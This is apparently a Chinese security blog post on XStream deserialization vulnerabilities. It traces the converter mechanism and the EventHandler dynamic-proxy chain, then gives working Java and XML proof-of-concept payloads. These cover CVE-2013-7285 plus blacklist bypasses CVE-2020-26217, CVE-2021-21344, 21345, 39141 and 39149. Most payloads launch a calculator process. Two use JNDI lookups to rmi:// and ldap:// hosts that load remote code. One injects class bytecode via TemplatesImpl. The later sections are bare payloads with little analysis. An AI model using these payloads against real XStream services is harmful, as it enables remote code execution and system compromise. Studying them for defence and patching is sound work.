XStream是一个能将Java对象和XML相互转换的Java库。(脑海浮现spring 加载xml
pom.xml:
1 2 3 4 5
| <dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.6</version> </dependency>
|
toXML序列化
XStream在序列化对象时,对 没有实现Serializable的类 和 实现了Serializable的类并重写了readObject方法的类 的处理不同。通常我们都认为这个不同只会发生在反序列化过程中
假如有Person类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public class Person { private String name; private int age;
public Person(String name, int age) { this.name = name; this.age = age; }
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public int getAge() { return age; }
public void setAge(int age) { this.age = age; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
测试类,使用xStream.toXML序列化对象为XML格式
1 2 3 4 5 6 7 8 9 10
| import com.thoughtworks.xstream.XStream;
public class XstreamTest1 { public static void main(String[] args) { Person person = new Person("lucy", 22); XStream xStream = new XStream(); String xml = xStream.toXML(person); System.out.print(xml); } }
|
结果如下:
1 2 3 4
| <yourpackage.Person> <name>lucy</name> <age>22</age> </yourpackage.Person>
|
如果Person实现了Serializable接口并重写了readObject,那么相同的序列化处理结果如下:
1 2 3 4 5 6 7 8
| <yourpackage.Person serialization="custom"> <yourpackage.Person> <default> <name>lucy</name> <age>22</age> </default> </yourpackage.Person> </yourpackage.Person>
|
fromXML反序列化
反序列化就不用说了,会自动调用readObject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class fromXML { public static void main(String[] args) throws Exception{ String xml = "<org.exploit.othercase.XStream.Person serialization=\"custom\">\n" + " <org.exploit.othercase.XStream.Person>\n" + " <default>\n" + " <age>22</age>\n" + " <name>lucy</name>\n" + " </default>\n" + " </org.exploit.othercase.XStream.Person>\n" + "</org.exploit.othercase.XStream.Person>"; XStream xStream = new XStream(); Person person = (Person) xStream.fromXML(xml); System.out.println(person); } }
|
调试分析
在fromXML打上断点
fromXML调用了unmarshal
unmarshal内部调用了ReferenceByXPathMarshallingStrategy.unmarshal
ReferenceByXPathMarshallingStrategy内部并没有unmarshal方法,转而调用其抽象类的unmarshal
AbstractTreeMarshallingStrategy.unmarshal调用了createUnmarshallingContext
接着跟,调用了ReferenceByXPathUnmarshaller构造函数
就是个套娃赋值了,跳过跳过
跟到AbstractTreeMarshallingStrategy.unmarshal内的context.start
在start方法内,通过HierarchicalStream.readClassType读取节点类型,接着调用convertAnother进行转换
HierarchicalStream.readClassType读取的结果:
跟进到convertAnother,先是用DefualtConverterLookup.lookupConverterForType去根据类型查找converter,再调用这个converter的convert方法
发现这个DefaultConverterLookup里装配了一堆converter,在哪装进去的呢?
向上逆向,发现XStream的一个构造函数内new DefaultConverterLookup
DefaultConverterLookup类给静态变量赋值为了PrioritizedList
XStream调用到最后的构造函数,会调用setupConverters
setupConverters方法就根据了不同的反序列化type选择了不同的Converter
继承了Serializable并重写了readObject调用到的converter是SerializableConverter
如果 不实现Serializable接口 或者 只实现Serializable不重写readObject,那么converter是ReflectionConverter
XStream的漏洞官网:
https://x-stream.github.io/security.html
converter文件
我们随便打开一个converter文件,其中就三个主要的方法:
- canConvert方法:告诉XStream对象,它能够转换的对象;
- marshal方法:能够将对象转换为XML时候的具体操作;
- unmarshal方法:能够将XML转换为对象时的具体操作;
CVE-2013-7285
XStream version <= 1.4.6 & XStream version = 1.4.10
漏洞点位于EventHandler.invokeInternal:
MethodUtil.invoke实际上就是Method.invoke加了异常处理,可以达到执行任意方法
EventHandler.invoke调用了invokeInternal
EventHandler又实现了InvocationHandler接口,属于动态代理类
接下来看看invoke三个参数怎么来的
先看下EventHandler的构造函数,共设置了target、action、eventPropertyName、listenerMethodName
invokeInternal的主要代码如下:
1 2 3 4 5 6 7
| int lastDot = action.lastIndexOf('.'); if (lastDot != -1) { target = applyGetters(target, action.substring(0, lastDot)); action = action.substring(lastDot + 1); } Method targetMethod = Statement.getMethod(target.getClass(),action, argTypes); return MethodUtil.invoke(targetMethod, target, newArgs);
|
假设action字符串为 “user.address.city”, target 是一个包含 user 属性的对象
那么经过if代码块后,target 现在是 Address 对象,action 现在是 “city”
那么经过Statement.getMethod后,获取了Address对象的city方法
简单说来就是最后一个.
前面的是类,后面是方法
但是我们完全可以将action只传一个方法名,不含.
,所以此处可省略,看不懂也没关系,接着往下看就知道了
现在再来看XStream提供的动态代理标签
DynamicProxyConverter
XStream给出了各个converter对应的xml格式
https://x-stream.github.io/converters.html
其中DynamicProxyConverter适用于动态代理:
code:
1 2 3 4 5 6 7
| <dynamic-proxy> <interface>com.foo.Blah</interface> <interface>com.foo.Woo</interface> <handler class="com.foo.MyHandler"> <something>blah</something> </handler> </dynamic-proxy>
|
对照Proxy.newProxyInstance的参数来看
interface
标签代表了代理的接口,handler
标签代表InvocationHandler实例,something
标签是传递给handler的额外配置信息
POC XML:
1 2 3 4 5 6 7 8 9 10 11
| <dynamic-proxy> <interface>java.util.Map</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy>
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class EventHandler { public static void main(String[] args) throws Exception{ String payload = "<dynamic-proxy>\n" + " <interface>java.util.Map</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " \t\t\t\t<string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + "</dynamic-proxy>"; XStream xStream = new XStream(); Map map = (Map) xStream.fromXML(payload); map.size(); } }
|
代理一下Map接口做测试,利用了ProcesserBuilder.start
实际利用的时候需要改下代理接口为代码后续调用到的接口
那有没有办法搞个更通用的呢?
通用POC
- 别忘了dynamic-proxy标签外还可以嵌套标签,等于嵌套了一个converter
这里找到了TreeSetConverter:
调用了TreeMapConverter.populateTreeMap
populateTreeMap内部,如果该标签已经在第一个元素内(没有子节点),则调用putCurrentEntryIntoMap,否则调用populateMap
populateMap循环判断有无子节点,然后调用putCurrentEntryIntoMap
也就是从内到外解析标签,调用putCurrentEntryIntoMap
putCurrentEntryIntoMap分别对key和value调用了readItem,这是因为Set可以存放Entry
Map 用于存储键值对,键必须唯一,值可以重复。
Set 用于存储唯一的键值对,不允许重复
readItem内部又嵌套的根据Type查找converter并处理
你一看官方给的xml示例,肯定就理解了上面的内容:
1 2 3 4 5 6 7 8 9 10 11
| <tree-map> <comparator class="com.blah.MyComparator"/> <entry> <string>apple</string> <float>123.553</float> </entry> <entry> <string>orange</string> <float>55.4</float> </entry> </tree-map>
|
1 2 3 4 5 6
| <tree-set> <comparator class="com.blah.MyComparator"/> <string>apple</string> <string>banana</string> <string>cabbage</string> </tree-set>
|
关键在于,populateMap解析完整个tree-map内的键值对后,调用了result.putAll
Tree.putAll的参数map是Proxy,肯定不会是SortedMap子类,进不去if,看到super.putAll
接着调用put,这里调用的应该是TreeMap重写的put
put内调用了compare
用了Comparable接口的compareTo
这里k1如果是EventHandler,那EventHandler代理Comparable接口,不就能顺利触发到invoke了嘛
POC XML:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <tree-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </tree-set>
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class EventHandler { public static void main(String[] args) throws Exception{ String payload = "<tree-set>\n" + "\t<dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</tree-set>"; XStream xStream = new XStream(); xStream.fromXML(payload); } }
|
tree-set能用,tree-map肯定也能用,毕竟tree-map的unmarshal也调用了populateTreeMap
随便加个value组成Entry
POC XML:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <tree-map> <entry> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> <string>godown</string> </entry> </tree-map>
|
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class EventHandler { public static void main(String[] args) throws Exception{ String payload = "<tree-map>\n" + " <entry>\n" + "\t<dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>calc</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + " <string>godown</string>\n" + " </entry>\n" + "</tree-map>"; XStream xStream = new XStream(); xStream.fromXML(payload); } }
|
修复
XStream>=1.4.7时,XStream能手动设置黑白名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| XStream.addPermission(TypePermission); XStream.allowTypes(Class[]); XStream.allowTypes(String[]); XStream.allowTypesByRegExp(String[]); XStream.allowTypesByRegExp(Pattern[]); XStream.allowTypesByWildcard(String[]); XStream.allowTypeHierary(Class); XStream.denyPermission(TypePermission); XStream.denyTypes(Class[]); XStream.denyTypes(String[]); XStream.denyTypesByRegExp(String[]); XStream.denyTypesByRegExp(Pattern[]); XStream.denyTypesByWildcard(String[]); XStream.denyTypeHierary(Class);
|
1.4.10版本之后,XStream提供了XStream.setupDefaultSecurity()函数来一键设置XStream反序列化类型的默认白名单,开了这个设置的都打不了。下面都是绕过默认黑名单的
后面的绕过都不太想分析了,直接贴个POC,感觉分析的意义也不大,官网都会贴POC
CVE-2020-26217
XStream<=1.4.13
用Base64Data绕过黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>open</string> <string>/Applications/Calculator.app</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> <mark>0</mark> <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> </map>
|
CVE_2021_21344
XStream<=1.4.15
JdbcRowSetImpl JNDI注入
POC XML:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <string>foo</string> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
CVE_2021_21345
XStream<=1.4.15
打不出网,利用ServerTableEntry本地执行恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'> <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'> <packet> <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'> <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'> <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'> <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'> <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'> <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType> <uriProperties/> <attributeProperties/> <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'> <getter> <class>com.sun.corba.se.impl.activation.ServerTableEntry</class> <name>verify</name> <parameter-types/> </getter> </inheritedAttWildcard> </bi> <tagName/> <context> <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'> <outer-class reference='../..'/> </marshallerPool> <nameList> <nsUriCannotBeDefaulted> <boolean>true</boolean> </nsUriCannotBeDefaulted> <namespaceURIs> <string>1</string> </namespaceURIs> <localNames> <string>UTF-8</string> </localNames> </nameList> </context> </bridge> </bridge> <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'> <activationCmd>open /Applications/Calculator.app</activationCmd> </jaxbObject> </dataSource> </message> <satellites/> <invocationProperties/> </packet> </indexMap> </comparator> </default> <int>3</int> <string>javax.xml.ws.binding.attachments.inbound</string> <string>javax.xml.ws.binding.attachments.inbound</string> </java.util.PriorityQueue> </java.util.PriorityQueue>
|
CVE-2021-39141
XStream<=1.4.17
JNDI
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178
| public class CVE_1_4_17 { public static void main(String[] args) throws Exception{ String xml = "<java.util.PriorityQueue serialization='custom'>\n" + " <unserializable-parents/>\n" + " <java.util.PriorityQueue>\n" + " <default>\n" + " <size>2</size>\n" + " </default>\n" + " <int>3</int>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>\n" + " <owner/>\n" + " <managedObjectManagerClosed>false</managedObjectManagerClosed>\n" + " <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>\n" + " <stubHandlers>\n" + " <entry>\n" + " <method>\n" + " <class>java.lang.Comparable</class>\n" + " <name>compareTo</name>\n" + " <parameter-types>\n" + " <class>java.lang.Object</class>\n" + " </parameter-types>\n" + " </method>\n" + " <com.sun.xml.internal.ws.client.sei.StubHandler>\n" + " <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>\n" + " <indices>\n" + " <int>0</int>\n" + " </indices>\n" + " <getters>\n" + " <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>\n" + " </getters>\n" + " <accessors>\n" + " <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>\n" + " <val_-isJAXBElement>false</val_-isJAXBElement>\n" + " <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>\n" + " <type>int</type>\n" + " <field>\n" + " <name>hash</name>\n" + " <clazz>java.lang.String</clazz>\n" + " </field>\n" + " </val_-getter>\n" + " <val_-isListType>false</val_-isListType>\n" + " <val_-n>\n" + " <namespaceURI/>\n" + " <localPart>hash</localPart>\n" + " <prefix/>\n" + " </val_-n>\n" + " <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>\n" + " <type>java.lang.String</type>\n" + " <method>\n" + " <class>javax.naming.InitialContext</class>\n" + " <name>doLookup</name>\n" + " <parameter-types>\n" + " <class>java.lang.String</class>\n" + " </parameter-types>\n" + " </method>\n" + " </val_-setter>\n" + " <outer-class>\n" + " <propertySetters>\n" + " <entry>\n" + " <string>serialPersistentFields</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " <type>[Ljava.io.ObjectStreamField;</type>\n" + " <field>\n" + " <name>serialPersistentFields</name>\n" + " <clazz>java.lang.String</clazz>\n" + " </field>\n" + " </com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " </entry>\n" + " <entry>\n" + " <string>CASE_INSENSITIVE_ORDER</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " <type>java.util.Comparator</type>\n" + " <field>\n" + " <name>CASE_INSENSITIVE_ORDER</name>\n" + " <clazz>java.lang.String</clazz>\n" + " </field>\n" + " </com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " </entry>\n" + " <entry>\n" + " <string>serialVersionUID</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " <type>long</type>\n" + " <field>\n" + " <name>serialVersionUID</name>\n" + " <clazz>java.lang.String</clazz>\n" + " </field>\n" + " </com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " </entry>\n" + " <entry>\n" + " <string>value</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " <type>[C</type>\n" + " <field>\n" + " <name>value</name>\n" + " <clazz>java.lang.String</clazz>\n" + " </field>\n" + " </com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " </entry>\n" + " <entry>\n" + " <string>hash</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " <type>int</type>\n" + " <field reference='../../../../../val_-getter/field'/>\n" + " </com.sun.xml.internal.ws.spi.db.FieldSetter>\n" + " </entry>\n" + " </propertySetters>\n" + " <propertyGetters>\n" + " <entry>\n" + " <string>serialPersistentFields</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " <type>[Ljava.io.ObjectStreamField;</type>\n" + " <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\n" + " </com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " </entry>\n" + " <entry>\n" + " <string>CASE_INSENSITIVE_ORDER</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " <type>java.util.Comparator</type>\n" + " <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\n" + " </com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " </entry>\n" + " <entry>\n" + " <string>serialVersionUID</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " <type>long</type>\n" + " <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\n" + " </com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " </entry>\n" + " <entry>\n" + " <string>value</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " <type>[C</type>\n" + " <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>\n" + " </com.sun.xml.internal.ws.spi.db.FieldGetter>\n" + " </entry>\n" + " <entry>\n" + " <string>hash</string>\n" + " <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>\n" + " </entry>\n" + " </propertyGetters>\n" + " <elementLocalNameCollision>false</elementLocalNameCollision>\n" + " <contentClass>java.lang.String</contentClass>\n" + " <elementDeclaredTypes/>\n" + " </outer-class>\n" + " </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>\n" + " </accessors>\n" + " <wrapper>java.lang.Object</wrapper>\n" + " <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>\n" + " <dynamicWrapper>false</dynamicWrapper>\n" + " </bodyBuilder>\n" + " <isOneWay>false</isOneWay>\n" + " </com.sun.xml.internal.ws.client.sei.StubHandler>\n" + " </entry>\n" + " </stubHandlers>\n" + " <clientConfig>false</clientConfig>\n" + " </databinding>\n" + " <methodHandlers>\n" + " <entry>\n" + " <method reference='../../../databinding/stubHandlers/entry/method'/>\n" + " <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>\n" + " <owner reference='../../../..'/>\n" + " <method reference='../../../../databinding/stubHandlers/entry/method'/>\n" + " <isVoid>false</isVoid>\n" + " <isOneway>false</isOneway>\n" + " </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>\n" + " </entry>\n" + " </methodHandlers>\n" + " </handler>\n" + " </dynamic-proxy>\n" + " <string>ldap://172.31.176.1:8085/KjidHtHH</string>\n" + " </java.util.PriorityQueue>\n" + "</java.util.PriorityQueue>"; XStream xStream = new XStream(); xStream.fromXML(xml); } }
|
不出网CVE-2021-39149
XStream<=1.4.17
TemplatesImpl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| public class CVE_1_4_17_TemplatesImpl { public static void main(String[] args) throws Exception{ String Evilcls = readClassStr(); String payload = "<linked-hash-set>\n" + " <dynamic-proxy>\n" + " <interface>map</interface>\n" + " <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>\n" + " <classToInvocationHandler class='linked-hash-map'/>\n" + " <defaultHandler class='sun.tracing.NullProvider'>\n" + " <active>true</active>\n" + " <providerType>java.lang.Object</providerType>\n" + " <probes>\n" + " <entry>\n" + " <method>\n" + " <class>java.lang.Object</class>\n" + " <name>hashCode</name>\n" + " <parameter-types/>\n" + " </method>\n" + " <sun.tracing.dtrace.DTraceProbe>\n" + " <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>\n" + " <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + " <default>\n" + " <__name>Pwnr</__name>\n" + " <__bytecodes>\n" + " <byte-array>" +Evilcls+ "</byte-array>\n" + " <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>\n" + " </__bytecodes>\n" + " <__transletIndex>-1</__transletIndex>\n" + " <__indentNumber>0</__indentNumber>\n" + " </default>\n" + " <boolean>false</boolean>\n" + " </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>\n" + " </proxy>\n" + " <implementing__method>\n" + " <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>\n" + " <name>getOutputProperties</name>\n" + " <parameter-types/>\n" + " </implementing__method>\n" + " </sun.tracing.dtrace.DTraceProbe>\n" + " </entry>\n" + " </probes>\n" + " </defaultHandler>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</linked-hash-set>"; XStream xStream = new XStream(); xStream.fromXML(payload); } public static String readClassStr() throws IOException { byte[] code = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class")); return Base64.encode(code); } }
|
参考:
https://fynch3r.github.io/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%A2%B3%E7%90%86/
https://xz.aliyun.com/t/10360?time__1311=Cqjx2Qi%3D0QMDlxGghF2Ph%3DKGCFC3x